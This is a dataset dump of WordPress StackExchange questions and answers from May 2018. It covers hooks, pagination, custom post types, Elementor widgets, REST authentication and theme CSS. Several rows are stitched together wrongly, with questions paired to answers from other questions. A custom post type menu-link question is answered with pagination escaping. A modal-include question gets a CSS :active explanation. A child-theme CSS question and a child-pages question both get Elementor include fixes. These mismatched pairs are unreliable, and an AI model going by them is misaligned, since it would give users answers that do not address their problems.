<img class="aligncenter wp-image-567 size-full" src="..myimage_src_02.." alt="" width="960" height="960" /><br/>
<im... | [
{
"answer_id": 303235,
"author": "idpokute",
"author_id": 87895,
"author_profile": "https://wordpress.stackexchange.com/users/87895",
"pm_score": 1,
"selected": false,
"text": "<p>Probably premium version has the option. Otherwise, inserting Adsense related code in the Loop can be anothe... | 2018/05/10 | [
"https://wordpress.stackexchange.com/questions/303234",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/44766/"
] | My blog post contains only images like this
```
<img class="aligncenter wp-image-567 size-full" src="..myimage_src_01.." alt="" width="960" height="960" /><br/>
<img class="aligncenter wp-image-567 size-full" src="..myimage_src_02.." alt="" width="960" height="960" /><br/>
<img class="aligncenter wp-image-567 size-fu... | Probably premium version has the option. Otherwise, inserting Adsense related code in the Loop can be another solution. |
303,264 | <p><code>clear_auth_cookie</code> is what I'd need in order to catch the actual logout action, but I can't get it to return anything.</p>
<p><a href="https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/pluggable.php#L940" rel="nofollow noreferrer">https://core.trac.wordpress.org/browser/tags/4.9/src/wp-in... | [
{
"answer_id": 303270,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 2,
"selected": true,
"text": "<p>That action doesn't pass that data:</p>\n\n<pre><code>function return_user_data_on_logout( $user ) {\n</code>... | 2018/05/10 | [
"https://wordpress.stackexchange.com/questions/303264",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143406/"
] | `clear_auth_cookie` is what I'd need in order to catch the actual logout action, but I can't get it to return anything.
<https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/pluggable.php#L940>
As per the Codex, it doesn't give any information.
Ideally I'd like to do:
```
add_action( 'clear_auth_cookie'... | That action doesn't pass that data:
```
function return_user_data_on_logout( $user ) {
```
Here, `$user` will alway be undefined. Additionally, you need to tell `add_action` how many parameters the function takes.
But..
```
do_action( 'clear_auth_cookie' );
```
No information is passed to begin with, that's not ... |
303,287 | <p>Assuming there are a few pages with same title, how to get id of the page that has the largest id (newest)? I have tried <code>get_page_by_title</code>, but it returns the smallest id (oldest). </p>
| [
{
"answer_id": 303288,
"author": "D. Dan",
"author_id": 133528,
"author_profile": "https://wordpress.stackexchange.com/users/133528",
"pm_score": 1,
"selected": false,
"text": "<p>By using wp_query you can have more control:</p>\n\n<pre><code>$title = \"your title\"\n$q = new WP_Query (a... | 2018/05/11 | [
"https://wordpress.stackexchange.com/questions/303287",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/2426/"
] | Assuming there are a few pages with same title, how to get id of the page that has the largest id (newest)? I have tried `get_page_by_title`, but it returns the smallest id (oldest). | By using wp\_query you can have more control:
```
$title = "your title"
$q = new WP_Query (array(
'posts_per_page' => 1,
'title' => $title,
));
```
And then you can iterate through, but because we used posts per page 1 you'll get only 1 item. By default wp query displays the last firs... |
303,297 | <p>My generated paginate link results will have additional <code>#038;</code> in the url, may I know how to get rid of it?</p>
<hr/>
<p><strong>Blog page url :</strong>
<code>http://localhost/wordpress/blog/</code></p>
<p>I had already setup pagination with function <a href="https://developer.wordpress.org/reference... | [
{
"answer_id": 320942,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>It looks like this is a <a href=\"https://core.trac.wordpress.org/ticket/31060\" rel=\"nofollow noref... | 2018/05/11 | [
"https://wordpress.stackexchange.com/questions/303297",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/85825/"
] | My generated paginate link results will have additional `#038;` in the url, may I know how to get rid of it?
---
**Blog page url :**
`http://localhost/wordpress/blog/`
I had already setup pagination with function [paginate\_links](https://developer.wordpress.org/reference/functions/paginate_links/), when I press pag... | There's no need to escape the URL twice - [`get_pagenum_link()`](https://developer.wordpress.org/reference/functions/get_pagenum_link/) by default returns an escaped URL — when the second parameter is `true`, [`esc_url()`](https://developer.wordpress.org/reference/functions/esc_url/) is used; else, [`esc_url_raw()`](ht... |
303,311 | <p>I seem to go round and round in circles here, I think lack of vocabulary or not knowing what I'm searching for is causing me my problems. </p>
<p>I have a custom post type <strong>projects</strong> and have a taxonomy to reflect that.<br>
When trying to add categories links from this post type in a menu, it links o... | [
{
"answer_id": 320942,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>It looks like this is a <a href=\"https://core.trac.wordpress.org/ticket/31060\" rel=\"nofollow noref... | 2018/05/11 | [
"https://wordpress.stackexchange.com/questions/303311",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/131432/"
] | I seem to go round and round in circles here, I think lack of vocabulary or not knowing what I'm searching for is causing me my problems.
I have a custom post type **projects** and have a taxonomy to reflect that.
When trying to add categories links from this post type in a menu, it links on the site as *domain.co... | There's no need to escape the URL twice - [`get_pagenum_link()`](https://developer.wordpress.org/reference/functions/get_pagenum_link/) by default returns an escaped URL — when the second parameter is `true`, [`esc_url()`](https://developer.wordpress.org/reference/functions/esc_url/) is used; else, [`esc_url_raw()`](ht... |
303,385 | <p>I've a custom post type with some custom meta box. I want to filter my custom post type posts using custom meta value. I've written the code below. But it return no post found. Can anyone tell me where I did wrong? Here is the codes.</p>
<pre><code><?php
add_action('restrict_manage_posts','restrict_listings_by_... | [
{
"answer_id": 333903,
"author": "Ellis Benus Web Developer",
"author_id": 141220,
"author_profile": "https://wordpress.stackexchange.com/users/141220",
"pm_score": 0,
"selected": false,
"text": "<p><strong>UPDATE: I figured it out! My fix was I could only filter by Columns which were sp... | 2018/05/12 | [
"https://wordpress.stackexchange.com/questions/303385",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/94489/"
] | I've a custom post type with some custom meta box. I want to filter my custom post type posts using custom meta value. I've written the code below. But it return no post found. Can anyone tell me where I did wrong? Here is the codes.
```
<?php
add_action('restrict_manage_posts','restrict_listings_by_metavalue');
func... | I ave faced the same issue when I was trying to filter custom-post-type with custom-field
but I have resolved this issue in the following steps.
Converted custom-field name from `writer` to `_writer`
and then I have updated following code inside `callback function` of `parse_query` hook that I can add custom... |
303,386 | <p>I have to insert some sliders in some particular pages of wordpress site.</p>
<p><a href="https://www.mousampictures.com/department/wedding/" rel="nofollow noreferrer">https://www.mousampictures.com/department/wedding/</a></p>
<p>when I have added the slider code, its appearing all at a time.</p>
<p>How can if do... | [
{
"answer_id": 303388,
"author": "Shameem Ali",
"author_id": 137710,
"author_profile": "https://wordpress.stackexchange.com/users/137710",
"pm_score": -1,
"selected": false,
"text": "<pre><code> $post_type = get_post_type();\n //var_dump($post_type);\n if($post_type=='wedding')... | 2018/05/12 | [
"https://wordpress.stackexchange.com/questions/303386",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/125028/"
] | I have to insert some sliders in some particular pages of wordpress site.
<https://www.mousampictures.com/department/wedding/>
when I have added the slider code, its appearing all at a time.
How can if do something like:
```
if (page is wedding){
echo wedding slider
}
if (page is portrait){
echo portrait slider
}
... | As I understand you want to display your slide in specific pages, so you need to control it using if condition.
***debug the code before use,***
1. Only on front page / home page
is\_front\_page(); // Use this function
More reading . <https://developer.wordpress.org/reference/functions/is_home/>
<https://developer.... |
303,407 | <p>Here is the code I'm using </p>
<p>First i have Removed Wordpress Authentication</p>
<pre><code>remove_filter('authenticate', 'wp_authenticate_username_password', 20);
</code></pre>
<p>Then i have added my own authentication</p>
<pre><code>add_filter('authenticate', function($user, $email, $password){
$phon... | [
{
"answer_id": 303411,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 0,
"selected": false,
"text": "<p>Wordpress \"login\" process assumes that a user name is given. If there is no user name, there is nothing... | 2018/05/12 | [
"https://wordpress.stackexchange.com/questions/303407",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/128064/"
] | Here is the code I'm using
First i have Removed Wordpress Authentication
```
remove_filter('authenticate', 'wp_authenticate_username_password', 20);
```
Then i have added my own authentication
```
add_filter('authenticate', function($user, $email, $password){
$phone = $wpdb->escape($_REQUEST['phone']);
$... | Wordpress "login" process assumes that a user name is given. If there is no user name, there is nothing to authenticate and most likely your code is not being reached at all. If you want to have your own form, just write your own authentication.
The other path you can follow is to change the label of the user field in... |
303,427 | <p>I have built a react app and I want to add it to my existing wordpress website. So basically when you visit mydomain.com/reactapp you should see the app.
But for now I am getting a white page and in my console there is:
<a href="https://www.mydomain.co.uk/static/css/main.cc05123b.css" rel="nofollow noreferrer">http... | [
{
"answer_id": 303450,
"author": "Wushu06 ",
"author_id": 143506,
"author_profile": "https://wordpress.stackexchange.com/users/143506",
"pm_score": -1,
"selected": false,
"text": "<p>I just needed to change the publicPath inside my webpack.</p>\n"
},
{
"answer_id": 344443,
"a... | 2018/05/12 | [
"https://wordpress.stackexchange.com/questions/303427",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143506/"
] | I have built a react app and I want to add it to my existing wordpress website. So basically when you visit mydomain.com/reactapp you should see the app.
But for now I am getting a white page and in my console there is:
<https://www.mydomain.co.uk/static/css/main.cc05123b.css> 404 (Not Found)
Do i have to change som... | You need to include scripts and styles properly as it has been done here <https://github.com/radekzz/wordpress-react-in-theme>
```
add_action( 'wp_enqueue_scripts', 'enqueue_my_react_app' );
function enqueue_my_react_app(){
foreach( glob( get_template_directory(). '/myReactApp/build/static/js/*.js' ) as $fil... |
303,445 | <p>In a Gutenberg block I try to read the value of an attribute's <em>default</em> property, so that I can find out in the transformation routine (to another block type) if any give attribute still has the default value.</p>
<p>With <code>this.props.attributes</code> I only see the <em>values</em> of attributes, but I... | [
{
"answer_id": 303624,
"author": "dgwyer",
"author_id": 8961,
"author_profile": "https://wordpress.stackexchange.com/users/8961",
"pm_score": 0,
"selected": false,
"text": "<p>I'm not sure if there's a direct way to inspect an attributes default value but one way would you can indirectly... | 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303445",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/130871/"
] | In a Gutenberg block I try to read the value of an attribute's *default* property, so that I can find out in the transformation routine (to another block type) if any give attribute still has the default value.
With `this.props.attributes` I only see the *values* of attributes, but I need their "meta data".
One sampl... | I just found out that I can simply define a variable when I register the block
```
var myBlock = registerBlockType( ... )
```
and then inside the anonymous function for "transform" I can access the attributes as
```
myBlock.attributes
``` |
303,448 | <p>I have searched through Google and <a href="https://developer.wordpress.org/?s=wp-admin-canonical" rel="nofollow noreferrer">WordPress developer resources</a>, but nothing came up.</p>
<p>I understand the purpose of <code>rel="canonical"</code> tag in a website's frontend (it's part of the website SEO), but I fail ... | [
{
"answer_id": 308056,
"author": "Cedric",
"author_id": 34076,
"author_profile": "https://wordpress.stackexchange.com/users/34076",
"pm_score": 0,
"selected": false,
"text": "<p>There is no valid reason to have one in the backend (aka admin). The only one is that the function <code>rel_c... | 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303448",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143097/"
] | I have searched through Google and [WordPress developer resources](https://developer.wordpress.org/?s=wp-admin-canonical), but nothing came up.
I understand the purpose of `rel="canonical"` tag in a website's frontend (it's part of the website SEO), but I fail to understand its purpose in WordPress Admin area (backend... | What is frontend & what is backend in WordPress?
------------------------------------------------
The PHP CODE, SQL Queries etc. that are executed on your server is the **backend** & any HTML/CSS/JavaScript CODE that comes to the browser as a result, is the **frontend**.
So even though, some parts of your site's **"f... |
303,478 | <p>I am using <strong><em>wp_mail()</em></strong> to send email using ajax. My mail code is as follow.</p>
<pre><code>add_action( 'wp_ajax_send_confirmation_email', 'wpse_sendmail' );
add_action( 'wp_ajax_nopriv_send_confirmation_email', 'wpse_sendmail' );
function wpse_sendmail() {
if(isset($_GET['is_email']) &... | [
{
"answer_id": 308056,
"author": "Cedric",
"author_id": 34076,
"author_profile": "https://wordpress.stackexchange.com/users/34076",
"pm_score": 0,
"selected": false,
"text": "<p>There is no valid reason to have one in the backend (aka admin). The only one is that the function <code>rel_c... | 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303478",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142190/"
] | I am using ***wp\_mail()*** to send email using ajax. My mail code is as follow.
```
add_action( 'wp_ajax_send_confirmation_email', 'wpse_sendmail' );
add_action( 'wp_ajax_nopriv_send_confirmation_email', 'wpse_sendmail' );
function wpse_sendmail() {
if(isset($_GET['is_email']) && $_GET['is_email'] == true){
... | What is frontend & what is backend in WordPress?
------------------------------------------------
The PHP CODE, SQL Queries etc. that are executed on your server is the **backend** & any HTML/CSS/JavaScript CODE that comes to the browser as a result, is the **frontend**.
So even though, some parts of your site's **"f... |
303,479 | <p>I am using the rest api in Wordpress. For authentication I use the Basic authentication plugin (<a href="https://github.com/WP-API/Basic-Auth" rel="nofollow noreferrer">JSON Basic Authentication</a>)</p>
<p>I use this request (from both postman and nodejs): </p>
<pre><code>POST /wp-json/wp/v2/posts HTTP/1.1
Host: ... | [
{
"answer_id": 310898,
"author": "mrbarletta",
"author_id": 117671,
"author_profile": "https://wordpress.stackexchange.com/users/117671",
"pm_score": 2,
"selected": false,
"text": "<p><code>Authorization</code> header is usually stripped by Apache. </p>\n\n<p>You can fix it with <code>.h... | 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303479",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142680/"
] | I am using the rest api in Wordpress. For authentication I use the Basic authentication plugin ([JSON Basic Authentication](https://github.com/WP-API/Basic-Auth))
I use this request (from both postman and nodejs):
```
POST /wp-json/wp/v2/posts HTTP/1.1
Host: **************
Authorization: Basic *********************
... | `Authorization` header is usually stripped by Apache.
You can fix it with `.htaccess`
```
RewriteEngine On
RewriteCond %{HTTP:Authorization} ^(.*)
RewriteRule .* - [e=HTTP_AUTHORIZATION:%1]
``` |
303,485 | <p>I'm using <a href="https://github.com/DevinVinson/WordPress-Plugin-Boilerplate" rel="nofollow noreferrer">DevinVinson/WordPress-Plugin-Boilerplate</a> as the base of the plugin, I already created a custom post type as <code>book</code> and a taxonomy linked to it as <code>rack</code>.</p>
<p>What I need is to limit... | [
{
"answer_id": 310898,
"author": "mrbarletta",
"author_id": 117671,
"author_profile": "https://wordpress.stackexchange.com/users/117671",
"pm_score": 2,
"selected": false,
"text": "<p><code>Authorization</code> header is usually stripped by Apache. </p>\n\n<p>You can fix it with <code>.h... | 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303485",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/58627/"
] | I'm using [DevinVinson/WordPress-Plugin-Boilerplate](https://github.com/DevinVinson/WordPress-Plugin-Boilerplate) as the base of the plugin, I already created a custom post type as `book` and a taxonomy linked to it as `rack`.
What I need is to limit the number of books to 10 per rack; if the number exceeds, it should... | `Authorization` header is usually stripped by Apache.
You can fix it with `.htaccess`
```
RewriteEngine On
RewriteCond %{HTTP:Authorization} ^(.*)
RewriteRule .* - [e=HTTP_AUTHORIZATION:%1]
``` |
303,494 | <p>In my theme there is a set of </p>
<pre><code>add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 470, 680 );
</code></pre>
<p>which is actually generating one more image besides the default <strong>small</strong>,<strong>medium</strong>,<strong>medium-large</strong>,<strong>large</strong></p>
<p>and... | [
{
"answer_id": 310898,
"author": "mrbarletta",
"author_id": 117671,
"author_profile": "https://wordpress.stackexchange.com/users/117671",
"pm_score": 2,
"selected": false,
"text": "<p><code>Authorization</code> header is usually stripped by Apache. </p>\n\n<p>You can fix it with <code>.h... | 2018/05/13 | [
"https://wordpress.stackexchange.com/questions/303494",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/129972/"
] | In my theme there is a set of
```
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 470, 680 );
```
which is actually generating one more image besides the default **small**,**medium**,**medium-large**,**large**
and it is set from the author of the theme for specific purposes of course.
I am using ... | `Authorization` header is usually stripped by Apache.
You can fix it with `.htaccess`
```
RewriteEngine On
RewriteCond %{HTTP:Authorization} ^(.*)
RewriteRule .* - [e=HTTP_AUTHORIZATION:%1]
``` |
303,509 | <p>I have started to convert my static page to WordPress theme. While I am doing this I have a place where the position of the background image of a section has to be set with values like <code>background-position:0 80%;</code>.</p>
<p>When I add the CSS to my custom CSS file which is main.css I found out there an int... | [
{
"answer_id": 303510,
"author": "Dharmishtha Patel",
"author_id": 135085,
"author_profile": "https://wordpress.stackexchange.com/users/135085",
"pm_score": 0,
"selected": false,
"text": "<p>Style blocks that aren't from the stylesheet stink. I truly despise it when theme developers put ... | 2018/05/14 | [
"https://wordpress.stackexchange.com/questions/303509",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143574/"
] | I have started to convert my static page to WordPress theme. While I am doing this I have a place where the position of the background image of a section has to be set with values like `background-position:0 80%;`.
When I add the CSS to my custom CSS file which is main.css I found out there an internal CSS which is ov... | First of all it should be: `background-position:0 80% !important;`
You said this style is applied to sections. How?
If you just add another selector, like instead using:
```
article{
background-position:0 80% !important;
}
```
use:
```
body article{
background-position:0 80% !important;
}
```
it may just work wit... |
303,533 | <p>I have a custom post type 'property'. I am trying to make a search for it, but it does not work with wp_query parameter 's'.</p>
<pre><code>$wp_query = Wp_Query(['post_type' => 'property', 's' => 'test']);
</code></pre>
<p>It works fine with other Wp_query parameters, like this:</p>
<pre><code>$wp_query = W... | [
{
"answer_id": 303540,
"author": "IvanMunoz",
"author_id": 143424,
"author_profile": "https://wordpress.stackexchange.com/users/143424",
"pm_score": 1,
"selected": false,
"text": "<p>I tried to reproduce the problem and you are right I had the same issue with s parameter + post_type filt... | 2018/05/14 | [
"https://wordpress.stackexchange.com/questions/303533",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143593/"
] | I have a custom post type 'property'. I am trying to make a search for it, but it does not work with wp\_query parameter 's'.
```
$wp_query = Wp_Query(['post_type' => 'property', 's' => 'test']);
```
It works fine with other Wp\_query parameters, like this:
```
$wp_query = Wp_Query([
'post_type' => 'property',
... | You can do like this,
```
$args = array(
'post_type' => 'tribe_events',
'post_per_page' => get_option('posts_per_page'),
's' => get_search_query()
);
$query = new WP_Query($args); // Use new keyword and you need to use WP_Query not Wp_Query
while($query->have_posts()): $query->the_post();
... |
303,549 | <p>I use a function to modify titles of various pages.</p>
<p>Although it appears to work, it shows a debug error of... Notice: Undefined variable: parents_titles line xxx.</p>
<p>It'll be because of my 'little knowledge, dangerous thing' uninformed tampering of whatever source I began with.</p>
<p>What changes does... | [
{
"answer_id": 303551,
"author": "Nouniz",
"author_id": 143601,
"author_profile": "https://wordpress.stackexchange.com/users/143601",
"pm_score": 1,
"selected": false,
"text": "<p>You must initialize your variable $parents_titles before the foreach</p>\n\n<pre><code>$parents_titles = '';... | 2018/05/14 | [
"https://wordpress.stackexchange.com/questions/303549",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/103213/"
] | I use a function to modify titles of various pages.
Although it appears to work, it shows a debug error of... Notice: Undefined variable: parents\_titles line xxx.
It'll be because of my 'little knowledge, dangerous thing' uninformed tampering of whatever source I began with.
What changes does it need?
```
function... | You must initialize your variable $parents\_titles before the foreach
```
$parents_titles = '';
``` |
303,563 | <p>I am totally new to WordPress and developing my own theme but <strong>function.php</strong> is not loading CSS file.</p>
<p>header.php</p>
<pre><code><html>
<head>
<?php wp_head(); ?>
</head>
<body>
<h2>I'm header.php</h2>
</cod... | [
{
"answer_id": 303565,
"author": "Quang Hoang",
"author_id": 134874,
"author_profile": "https://wordpress.stackexchange.com/users/134874",
"pm_score": 3,
"selected": true,
"text": "<p>The theme functions file name must be called <code>functions.php</code> not <code>function.php</code>. T... | 2018/05/14 | [
"https://wordpress.stackexchange.com/questions/303563",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143616/"
] | I am totally new to WordPress and developing my own theme but **function.php** is not loading CSS file.
header.php
```
<html>
<head>
<?php wp_head(); ?>
</head>
<body>
<h2>I'm header.php</h2>
```
single.php
```
<?php
get_header();
while (have_posts()) {
the_post();
... | The theme functions file name must be called `functions.php` not `function.php`. This can cause your code to not implement? You must check carefully. |
303,691 | <p>I altered some functions in the PHP file of my website using WordPress Admin Panel:</p>
<p><code>Appearance</code> → <code>Editor</code></p>
<p>Now not only has my website been destroyed, but also the WordPress dashboard. I cannot access anything on there that allows me to edit the website, such as <code>Appearanc... | [
{
"answer_id": 303695,
"author": "Mat",
"author_id": 37985,
"author_profile": "https://wordpress.stackexchange.com/users/37985",
"pm_score": 0,
"selected": false,
"text": "<p>This is exactly why you shouldn't really use the WordPress <strong>Appearance -> Editor</strong>.</p>\n\n<p>Your ... | 2018/05/16 | [
"https://wordpress.stackexchange.com/questions/303691",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143724/"
] | I altered some functions in the PHP file of my website using WordPress Admin Panel:
`Appearance` → `Editor`
Now not only has my website been destroyed, but also the WordPress dashboard. I cannot access anything on there that allows me to edit the website, such as `Appearance` → `Editor`, or `Pages` → `All Pages`, NOT... | ### Why it happened:
Since WordPress back end editor runs on top of WordPress itself, if you cause a critical Error within the PHP files, that will cause error on the backend Admin Panel as well. At that point you will no longer be able to access the backend editor until you fix the error.
### What is that Error:
Wh... |
303,733 | <p>I have been able to style primary menu with hover class, but active class is not working: (www.gehrkeshardwoodflooring.com)</p>
<pre><code>.main-navigation {
color: #b2a79b !important;
}
.main-navigation a:link {
color: #b2a79b !important;
}
.main-navigation a:visited {
color: #b2a79b !important;
}
.... | [
{
"answer_id": 303737,
"author": "IvanMunoz",
"author_id": 143424,
"author_profile": "https://wordpress.stackexchange.com/users/143424",
"pm_score": 1,
"selected": false,
"text": "<p>You don't have a.active in your code, you have <em>.main-navigation li.current_page_item a</em></p>\n\n<p... | 2018/05/16 | [
"https://wordpress.stackexchange.com/questions/303733",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143751/"
] | I have been able to style primary menu with hover class, but active class is not working: (www.gehrkeshardwoodflooring.com)
```
.main-navigation {
color: #b2a79b !important;
}
.main-navigation a:link {
color: #b2a79b !important;
}
.main-navigation a:visited {
color: #b2a79b !important;
}
.main-navigatio... | It looks like you might be confusing the [`:active` CSS pseudo class](https://developer.mozilla.org/en-US/docs/Web/CSS/:active) and an actual `.active` class. The pseudo class represents an element that is being activated by the user. It is not the active page.
If you want to use the `active` class on the current page... |
303,747 | <p>I'm trying to assign a php file to a specfic page?</p>
<p>I have modals stored in different files and want have them load in when their assigned page is called. These pages are using the same theme, "Portfolio".</p>
<p>If I do something like:</p>
<pre class="lang-php prettyprint-override"><code><?php $i... | [
{
"answer_id": 303737,
"author": "IvanMunoz",
"author_id": 143424,
"author_profile": "https://wordpress.stackexchange.com/users/143424",
"pm_score": 1,
"selected": false,
"text": "<p>You don't have a.active in your code, you have <em>.main-navigation li.current_page_item a</em></p>\n\n<p... | 2018/05/16 | [
"https://wordpress.stackexchange.com/questions/303747",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143762/"
] | I'm trying to assign a php file to a specfic page?
I have modals stored in different files and want have them load in when their assigned page is called. These pages are using the same theme, "Portfolio".
If I do something like:
```php
<?php $id="page-id-8229"; include '/modals/work/cplfModals.php';?>
```
for each... | It looks like you might be confusing the [`:active` CSS pseudo class](https://developer.mozilla.org/en-US/docs/Web/CSS/:active) and an actual `.active` class. The pseudo class represents an element that is being activated by the user. It is not the active page.
If you want to use the `active` class on the current page... |
303,752 | <p>I'm trying to create basic widget in Elementor. When following the developer docs to create a new widget, the following error is thrown:</p>
<p>Fatal error: Class 'Elementor\Widget_Base' not found</p>
<p>Here is my code (mostly copied from official docs)</p>
<p><strong>Main plugin extension class:</strong></p>
<... | [
{
"answer_id": 304037,
"author": "Frank",
"author_id": 143975,
"author_profile": "https://wordpress.stackexchange.com/users/143975",
"pm_score": 4,
"selected": true,
"text": "<p>I had the same problem. Take $this->includes(); out of the init method, and put it into the register_widgets ... | 2018/05/17 | [
"https://wordpress.stackexchange.com/questions/303752",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112255/"
] | I'm trying to create basic widget in Elementor. When following the developer docs to create a new widget, the following error is thrown:
Fatal error: Class 'Elementor\Widget\_Base' not found
Here is my code (mostly copied from official docs)
**Main plugin extension class:**
```
<?php
/**
* Plugin Name: Deo Element... | I had the same problem. Take $this->includes(); out of the init method, and put it into the register\_widgets method:
```
public function init() {
...
// Include plugin files
// $this->includes(); // <-- remove this
}
public function register_widgets() {
$this->includes(); // <- put it here
\Elem... |
303,770 | <p>In the last month I have been creating my very first website. Before this I had no coding knowledge so everyhting I learnt was new to me.</p>
<p>My problem over the last week is that my child theme .css files (and php. file but that is a different matter) are not overriding their parent .css files. I have been tryi... | [
{
"answer_id": 304037,
"author": "Frank",
"author_id": 143975,
"author_profile": "https://wordpress.stackexchange.com/users/143975",
"pm_score": 4,
"selected": true,
"text": "<p>I had the same problem. Take $this->includes(); out of the init method, and put it into the register_widgets ... | 2018/05/17 | [
"https://wordpress.stackexchange.com/questions/303770",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143784/"
] | In the last month I have been creating my very first website. Before this I had no coding knowledge so everyhting I learnt was new to me.
My problem over the last week is that my child theme .css files (and php. file but that is a different matter) are not overriding their parent .css files. I have been trying to sear... | I had the same problem. Take $this->includes(); out of the init method, and put it into the register\_widgets method:
```
public function init() {
...
// Include plugin files
// $this->includes(); // <-- remove this
}
public function register_widgets() {
$this->includes(); // <- put it here
\Elem... |
303,786 | <p>I am trying to display the sub-pages of a custom page on the parent page. I found an abbreviated code that works very well for standard WordPress post_type "pages", but does not work for custom publishing types.</p>
<p>Here's the short code code I put in my functions.php file:</p>
<pre><code>function v_list_child_... | [
{
"answer_id": 304037,
"author": "Frank",
"author_id": 143975,
"author_profile": "https://wordpress.stackexchange.com/users/143975",
"pm_score": 4,
"selected": true,
"text": "<p>I had the same problem. Take $this->includes(); out of the init method, and put it into the register_widgets ... | 2018/05/17 | [
"https://wordpress.stackexchange.com/questions/303786",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143797/"
] | I am trying to display the sub-pages of a custom page on the parent page. I found an abbreviated code that works very well for standard WordPress post\_type "pages", but does not work for custom publishing types.
Here's the short code code I put in my functions.php file:
```
function v_list_child_pages() {
global... | I had the same problem. Take $this->includes(); out of the init method, and put it into the register\_widgets method:
```
public function init() {
...
// Include plugin files
// $this->includes(); // <-- remove this
}
public function register_widgets() {
$this->includes(); // <- put it here
\Elem... |
303,887 | <p>I need to print the user's id into this array but it doesn't seem to be working. I have tried all sorts of things from $user->ID to $user_id to no avail. I am trying to get the value from my functions.php
Any help would be greatly appreciated!</p>
<p>Here what's in my php function:</p>
<pre><code>$user_page = get_... | [
{
"answer_id": 303890,
"author": "SopsoN",
"author_id": 110124,
"author_profile": "https://wordpress.stackexchange.com/users/110124",
"pm_score": 0,
"selected": false,
"text": "<p>If I'm not wrong it should be</p>\n\n<pre><code>$user_page->ID\n</code></pre>\n\n<p>Also you can check</p... | 2018/05/18 | [
"https://wordpress.stackexchange.com/questions/303887",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143707/"
] | I need to print the user's id into this array but it doesn't seem to be working. I have tried all sorts of things from $user->ID to $user\_id to no avail. I am trying to get the value from my functions.php
Any help would be greatly appreciated!
Here what's in my php function:
```
$user_page = get_queried_object();
$u... | The answer to your question is literally the title with underscores instead of spaces:
```
$user_id = get_current_user_id();
```
<https://developer.wordpress.org/reference/functions/get_current_user_id/> |
303,924 | <p>I already consulted <a href="https://wordpress.stackexchange.com/questions/17064/error-messages-when-adding-code-to-function-php-or-trying-to-delete-inactive-plu?s=1%7C132.3108">this post</a> and <a href="https://wordpress.stackexchange.com/questions/179070/wp-redirect-headers-already-sent">this post</a> but did not... | [
{
"answer_id": 303926,
"author": "Akshat",
"author_id": 114978,
"author_profile": "https://wordpress.stackexchange.com/users/114978",
"pm_score": 2,
"selected": false,
"text": "<p>Try replacing wp_redirect with wp_safe_redirect and if you have php closing tag \"?>\" at end of files, remo... | 2018/05/18 | [
"https://wordpress.stackexchange.com/questions/303924",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143330/"
] | I already consulted [this post](https://wordpress.stackexchange.com/questions/17064/error-messages-when-adding-code-to-function-php-or-trying-to-delete-inactive-plu?s=1%7C132.3108) and [this post](https://wordpress.stackexchange.com/questions/179070/wp-redirect-headers-already-sent) but did not see a solution.
I need ... | Try replacing wp\_redirect with wp\_safe\_redirect and if you have php closing tag "?>" at end of files, remove them, at least you can check the header.php for php closing tag. |
303,940 | <pre><code>$args = array(
'labels' => $labels,
'description' => __( 'The Video Custom Post Type', 'xxxx' ),
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'show_in_menu' => true,
... | [
{
"answer_id": 303942,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 4,
"selected": true,
"text": "<p>Because Category is a specific <a href=\"https://codex.wordpress.org/Taxonomies\" rel=\"noreferrer\">tax... | 2018/05/19 | [
"https://wordpress.stackexchange.com/questions/303940",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/105791/"
] | ```
$args = array(
'labels' => $labels,
'description' => __( 'The Video Custom Post Type', 'xxxx' ),
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
